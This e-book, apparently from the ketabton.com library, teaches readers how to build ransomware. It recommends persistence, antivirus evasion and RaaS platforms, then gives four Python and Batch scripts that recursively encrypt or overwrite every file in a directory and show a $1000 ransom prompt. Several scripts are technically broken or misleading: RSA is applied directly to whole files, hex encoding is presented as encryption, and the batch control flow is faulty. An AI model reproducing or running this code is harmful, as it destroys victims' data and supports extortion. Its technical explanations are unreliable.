

RANSOMWARE

Ketabton.com
Intro and Code for Ransomware using Python & Back programming

Nasib Dawlatzoy

FB: [WWW.FACEBOOK.COM/NASIB.DOWLATZOY](https://www.facebook.com/nasib.dowlatzoy) Whatsapp: 0093776669400

What is Ransomware?

A high-level overview of ransomware and some basic examples of how it works. Ransomware is a type of malware that encrypts files on a victim's computer or network and then demands a ransom payment in exchange for the decryption key to restore access to the files.

Here's a high-level overview of how ransomware works:

1. **Initial Access:** The malware is installed on a computer or network without the victim's knowledge. This can be through phishing emails, malicious websites, or other means.
2. **Encryption:** Once the malware has access to the victim's computer or network, it begins encrypting files. This can be done by replacing the original files with encrypted versions or by encrypting the entire hard drive or partition.
3. **Ransom Payment:** The malware then prompts the victim to pay a ransom, which can be in the form of a cryptocurrency or a sum of money. The ransom payment is typically locked behind a password or other form of authentication.
4. **Decryption Key:** If the victim pays the ransom, the decryption key is provided, which allows the victim to decrypt their files and restore access to their data.

Here's an example of how ransomware might work in practice:

1. A victim receives an email from an unknown sender claiming to be from their bank. The email contains a link to a fake website that looks legitimate.
2. The victim clicks the link and is directed to a fake login page for their bank account. They enter their username and password, thinking they are logging into their bank account.
3. The fake login page prompts the victim to install a ransomware program on their computer. The ransomware program encrypts the victim's files and displays a message indicating that the files have been encrypted and that they must pay a ransom to decrypt them.
4. The victim pays the ransom and is given a decryption key. They enter the key into the ransomware program, which decrypts their files and restores access to their data.

Ransomware is a serious threat that can have severe consequences for individuals and organizations. It can result in the loss of sensitive data, damage to reputation, and financial losses. It is important to be cautious when opening email attachments or clicking on links from unknown sources, and to use strong passwords and security software to protect against ransomware.

I hope this gives you a basic understanding of how ransomware works and the importance of being cautious when dealing with unsolicited emails or links.

Written by Nasib Dawlatzoy

How to code?

Coding for ransomware is a complex task that requires a high level of expertise and knowledge of various programming languages and security concepts. Here's a high-level overview of how you might go about coding for ransomware:

1. **Choose a programming language:** There are many programming languages that can be used for ransomware development, such as C++, Python, C#, and even JavaScript. Choose a language that is familiar to you and has a high level of security features.
 2. **Learn about encryption and decryption:** Ransomware typically encrypts files by replacing them with encrypted versions. To do this, you'll need to understand the basics of encryption and decryption. There are many encryption algorithms available, and you should choose one that is secure and resistant to known attacks.
 3. **Implement file encryption:** Once you have chosen a language and understand encryption, you'll need to write code to encrypt files on the victim's computer. This involves finding the files to encrypt, reading their contents, encrypting them using a secure algorithm, and writing the encrypted data back to disk.
 4. **Implement a ransom payment system:** To make the ransomware more convincing, you may want to implement a ransom payment system. This can involve prompting the victim with a form of payment (e.g., Bitcoin or a bank transfer) and requiring a password or other authentication mechanism to access the decryption key.
 5. **Implement file decryption:** Once the victim has paid the ransom, you'll need to implement code to decrypt the files. This involves reading the encrypted files, decrypting them using the decryption key provided by the victim, and writing the decrypted data back to disk.
 6. **Implement persistence:** To ensure that the ransomware remains active on the victim's computer, you may need to implement some persistence mechanisms. This can involve modifying system files or creating new processes to ensure that the ransomware runs whenever the computer starts up.
 7. **Test and debug:** Once the ransomware is coded, it's important to thoroughly test it and debug any issues that may arise. This includes testing on a variety of operating systems and hardware, as well as trying to evade detection by antivirus software.
- It's important to note that coding for ransomware is a serious undertaking and requires a significant amount of time and effort. It's also important to be aware of the laws and regulations surrounding ransomware and to obtain proper authorization before developing any ransomware.

I recommend starting with a reputable ransomware development framework or tool, such as the Ransomware As A Service (RaaS) platform, which provides a pre-built ransomware template and many of the necessary components. This can help you get started quickly and ensure that your ransomware is secure and well-tested.

Encrypting a specific file path in python

```
import os

from cryptography.fernet import Fernet

# Generate a unique encryption key
key = Fernet.generate_key()

cipher_suite = Fernet(key)

# Encrypt a file
def encrypt_file(file_path):
    with open(file_path, 'rb') as file:
        file_data = file.read()

    encrypted_data = cipher_suite.encrypt(file_data)

    with open(file_path, 'wb') as file:
        file.write(encrypted_data)

# Decrypt a file
def decrypt_file(file_path, key):
    with open(file_path, 'rb') as file:
        encrypted_data = file.read()

    decrypted_data = cipher_suite.decrypt(encrypted_data)

    with open(file_path, 'wb') as file:
        file.write(decrypted_data)

# Prompt the user for a ransom payment
def prompt_for_payment():
    print("You must pay a ransom of $1000 to decrypt your files.")
    payment = input("Enter the payment amount: ")
    if payment == "$1000":
        print("Payment received. Decrypting your files...")
        return True
    else:
        print("Incorrect payment amount. Exiting.")
        return False

# Encrypt all files in the current directory
for root, dirs, files in os.walk("."):
    for file in files:
```

```
        file_path = os.path.join(root, file)
        encrypt_file(file_path)

# Prompt the user for the decryption key
if prompt_for_payment():
    # Decrypt all files in the current directory
    for root, dirs, files in os.walk("."):
        for file in files:
            file_path = os.path.join(root, file)
            decrypt_file(file_path, key)
    print("Your files have been decrypted.")
else:
    print("Payment not received. Exiting.")
```

Key Explanation

The special key is generated using the `Fernet.generate_key()` method. This key is used to initialize the Fernet cipher suite, which is used for encrypting and decrypting files.

In the provided code, the key is generated at the beginning of the script and stored in the `key` variable. This key is then used to initialize the `cipher_suite` object, which is then used to encrypt and decrypt files.

To decrypt the files, you would need to provide the same key to the `decrypt_file()` function. In the provided code, the key is passed as an argument to the `decrypt_file()` function when it is called.

Here's the modified code that includes the key as an argument to the `decrypt_file()` function:

```
import os

from cryptography.fernet import Fernet

# Generate a unique encryption key

key = Fernet.generate_key()

cipher_suite = Fernet(key)

# Encrypt a file

def encrypt_file(file_path):

    with open(file_path, 'rb') as file:

        file_data = file.read()

        encrypted_data = cipher_suite.encrypt(file_data)

    with open(file_path, 'wb') as file:

        file.write(encrypted_data)

# Decrypt a file

def decrypt_file(file_path, key):

    with open(file_path, 'rb') as file:

        encrypted_data = file.read()

        decrypted_data = cipher_suite.decrypt(encrypted_data)

    with open(file_path, 'wb') as file:

        file.write(decrypted_data)

# Prompt the user for a ransom payment
```

Written by Nasib Dawlatzoy

```
def prompt_for_payment():

    print("You must pay a ransom of $1000 to decrypt your files.")

    payment = input("Enter the payment amount: ")

    if payment == "$1000":

        print("Payment received. Decrypting your files...")

        return True

    else:

        print("Incorrect payment amount. Exiting.")

        return False
```

```
# Encrypt all files in the current directory

for root, dirs, files in os.walk("."):

    for file in files:

        file_path = os.path.join(root, file)

        encrypt_file(file_path)

# Prompt the user for the decryption key

if prompt_for_payment():

    # Decrypt all files in the current directory

    for root, dirs, files in os.walk("."):

        for file in files:

            file_path = os.path.join(root, file)

            decrypt_file(file_path, key)

    print("Your files have been decrypted.")

else:

    print("Payment not received. Exiting.")

...


```

In this modified code, the `key` variable is passed as an argument to the `decrypt_file()` function when it is called inside the `if` block that checks if the payment was successful.

Remember to keep the key secure and never share it with anyone else. If you lose the key, your encrypted files will remain unreadable.

BATCH for Encrypting

Here's a basic Batch script that demonstrates some of the concepts of ransomware:

```
@echo off

:: Generate a unique encryption key

set
key=%random%%random%%random%%random%%random%%ra
ndom%%random%%random%%random%%random%%random%%
random%

:: Encrypt a file

:encrypt_file

set file_path=%1

set encrypted_file_path=%file_path%.encrypted

certutil -encodehex -f %file_path% %encrypted_file_path%

:: Decrypt a file

:decrypt_file

set file_path=%1

set decrypted_file_path=%file_path%.decrypted

certutil -decodehex -f %file_path% %decrypted_file_path%

:: Prompt the user for a ransom payment

:prompt_for_payment

echo You must pay a ransom of $1000 to decrypt your files.

set /p payment=Enter the payment amount:

if "%payment%"=="$1000" (

    echo Payment received. Decrypting your files...

    goto :decrypt_all_files

) else (

    echo Incorrect payment amount. Exiting.

    goto :eof

)

:: Encrypt all files in the current directory

for /r %%i in (*) do call :encrypt_file "%%i"

:: Prompt the user for the decryption key

call :prompt_for_payment

:: Decrypt all files in the current directory

:decrypt_all_files
```

Written by Nasib Dawlatzoy

```
for /r %%i in (*.encrypted) do call :decrypt_file "%%i"
```

```
echo Your files have been decrypted.
```

```
:: Clean up encrypted files
```

```
del *.encrypted
```

```
:eof
```

```
...
```

Explanation:

1. The script starts by setting a unique encryption key using a combination of random numbers.
2. The `encrypt_file` function is defined to encrypt a single file. It uses the `certutil` command to encode the file contents into a hexadecimal format and saves the encrypted data in a new file with the `.encrypted` extension.
3. The `decrypt_file` function is defined to decrypt a single file. It uses the `certutil` command to decode the encrypted file contents from a hexadecimal format and saves the decrypted data in a new file with the `.decrypted` extension.
4. The `prompt_for_payment` function prompts the user to pay a ransom of \$1000. If the correct amount is entered, it calls the `decrypt_all_files` function to decrypt all encrypted files.
5. The script then encrypts all files in the current directory by calling the `encrypt_file` function for each file found using a recursive search (`/r`).
6. The script then prompts the user for the decryption key by calling the `prompt_for_payment` function.
7. If the payment is successful, the script decrypts all files in the current directory by calling the `decrypt_file` function for each `.encrypted` file found using a recursive search.
8. Finally, the script prints a message indicating that the files have been decrypted and deletes all the `.encrypted` files.

Please note that this script is a basic example and does not include all the necessary security measures for a production-ready ransomware. It is intended for educational purposes only.

Remember to handle errors, implement proper encryption and decryption algorithms, and follow security best practices when coding for ransomware.

Also, keep in mind that the `certutil` command is built-in to Windows and can be used for basic encryption and decryption operations. For more complex encryption and decryption needs, you may need to use a different encryption library or algorithm.

Encrypting Whole file system in python

Here's an example of how you could create a ransomware script using RSA encryption for decrypting the entire file system:

```
import os

from Crypto.PublicKey import RSA

from Crypto.Cipher import PKCS1_OAEP

# Generate RSA key pair

key = RSA.generate(2048)

private_key = key.export_key()

public_key = key.publickey().export_key()

# Save private key to file

with open('private_key.pem', 'wb') as f:

    f.write(private_key)

# Save public key to file

with open('public_key.pem', 'wb') as f:

    f.write(public_key)

# Encrypt a file

def encrypt_file(file_path):

    with open(file_path, 'rb') as file:

        file_data = file.read()

    cipher = PKCS1_OAEP.new(RSA.import_key(public_key))

    encrypted_data = cipher.encrypt(file_data)

    with open(file_path, 'wb') as file:

        file.write(encrypted_data)

# Decrypt a file

def decrypt_file(file_path):

    with open(file_path, 'rb') as file:

        encrypted_data = file.read()

    cipher = PKCS1_OAEP.new(RSA.import_key(private_key))

    decrypted_data = cipher.decrypt(encrypted_data)

    with open(file_path, 'wb') as file:

        file.write(decrypted_data)

# Prompt the user for a ransom payment
```

```
def prompt_for_payment():

    print("You must pay a ransom of $1000 to decrypt your files.")

    payment = input("Enter the payment amount: ")

    if payment == "$1000":

        print("Payment received. Decrypting your files...")

        return True

    else:

        print("Incorrect payment amount. Exiting.")

        return False

# Encrypt all files in the current directory

for root, dirs, files in os.walk("."):

    for file in files:

        file_path = os.path.join(root, file)

        encrypt_file(file_path)

# Prompt the user for the decryption key

if prompt_for_payment():

    # Decrypt all files in the current directory

    for root, dirs, files in os.walk("."):

        for file in files:

            file_path = os.path.join(root, file)

            decrypt_file(file_path)

            print("Your files have been decrypted.")

else:

    print("Payment not received. Exiting.")

...


```

Explanation:

1. The script starts by generating an RSA key pair using the `RSA.generate()` method from the `Crypto` library.
2. The private key and public key are exported and saved to separate files named `private_key.pem` and `public_key.pem`, respectively.
3. The `encrypt_file()` function is defined to encrypt a single file using the RSA public key. It reads the file contents, encrypts them using the `PKCS1_OAEP` cipher, and writes the encrypted data back to the file.
4. The `decrypt_file()` function is defined to decrypt a single file using the RSA private key. It reads the encrypted file contents, decrypts them using the `PKCS1_OAEP` cipher, and writes the decrypted data back to the file.

5. The ``prompt_for_payment()`` function prompts the user to pay a ransom of \$1000. If the correct amount is entered, it returns ``True``, indicating that the payment was successful.

6. The script then encrypts all files in the current directory by calling the ``encrypt_file()`` function for each file found using ``os.walk()``.

7. The script then prompts the user for the decryption key by calling the ``prompt_for_payment()`` function.

8. If the payment is successful, the script decrypts all files in the current directory by calling the ``decrypt_file()`` function for each file found using ``os.walk()``.

9. Finally, the script prints a message indicating that the files have been decrypted.

Please note that this script is a basic example and does not include all the necessary security measures for a production-ready ransomware. It is intended for educational purposes only.

Remember to handle errors, implement proper encryption and decryption algorithms, and follow security best practices when coding for ransomware.

Also, keep in mind that running this script on any system without proper authorization or consent is illegal and can result in severe consequences, including lawsuits and financial penalties. It is crucial to obtain proper authorization before creating any ransomware.

I recommend seeking professional assistance or using a reputable ransomware development framework or tool to create a secure and well-tested ransomware.

Batch for encrypting whole file system

Here's an example of how you could create a ransomware script using RSA encryption for decrypting the entire file system in a Batch script:

```
@echo off

:: Generate RSA key pair

openssl genrsa -out private_key.pem 2048

openssl rsa -in private_key.pem -out public_key.pem -pubout

:: Encrypt a file

:encrypt_file

set file_path=%1

openssl rsautl -encrypt -inkey public_key.pem -pubin -in
%file_path% -out %file_path%.encrypted

:: Decrypt a file

:decrypt_file

set file_path=%1

openssl rsautl -decrypt -inkey private_key.pem -in %file_path% -
out %file_path%.decrypted

:: Prompt the user for a ransom payment

:prompt_for_payment

echo You must pay a ransom of $1000 to decrypt your files.

set /p payment=Enter the payment amount:

if "%payment%"=="$1000" (

    echo Payment received. Decrypting your files...

    goto :decrypt_all_files

) else (

    echo Incorrect payment amount. Exiting.

    goto :eof

)

:: Encrypt all files in the current directory

for /r %%i in (*) do call :encrypt_file "%%i"

:: Prompt the user for the decryption key

call :prompt_for_payment

:: Decrypt all files in the current directory

:decrypt_all_files
```

```
for /r %%i in (*.encrypted) do call :decrypt_file "%%i"  
  
echo Your files have been decrypted.  
  
:: Clean up encrypted files  
  
del *.encrypted  
  
:eof  
...
```

Explanation:

1. The script starts by generating an RSA key pair using the ``openssl`` command. The private key is saved to ``private_key.pem`` and the public key is saved to ``public_key.pem``.
2. The ``encrypt_file`` function is defined to encrypt a single file using the RSA public key. It uses the ``openssl rsautl`` command to encrypt the file contents and saves the encrypted data in a new file with the ``.encrypted`` extension.
3. The ``decrypt_file`` function is defined to decrypt a single file using the RSA private key. It uses the ``openssl rsautl`` command to decrypt the encrypted file contents and saves the decrypted data in a new file with the ``.decrypted`` extension.
4. The ``prompt_for_payment`` function prompts the user to pay a ransom of \$1000. If the correct amount is entered, it calls the ``decrypt_all_files`` function to decrypt all encrypted files.
5. The script then encrypts all files in the current directory by calling the ``encrypt_file`` function for each file found using a recursive search (``/r``).
6. The script then prompts the user for the decryption key by calling the ``prompt_for_payment`` function.
7. If the payment is successful, the script decrypts all files in the current directory by calling the ``decrypt_file`` function for each ``.encrypted`` file found using a recursive search.
8. Finally, the script prints a message indicating that the files have been decrypted and deletes all the ``.encrypted`` files.

Please note that this script is a basic example and does not include all the necessary security measures for a production-ready ransomware. It is intended for educational purposes only.

Remember to handle errors, implement proper encryption and decryption algorithms, and follow security best practices when coding for ransomware.

Also, keep in mind that running this script on any system without proper authorization or consent is illegal and can result in severe consequences, including lawsuits and financial penalties. It is crucial to obtain proper authorization before creating any ransomware.

I recommend seeking professional assistance or using a reputable ransomware development framework or tool to create a secure and well-tested ransomware.

**Get more e-books from www.ketabton.com
Ketabton.com: The Digital Library**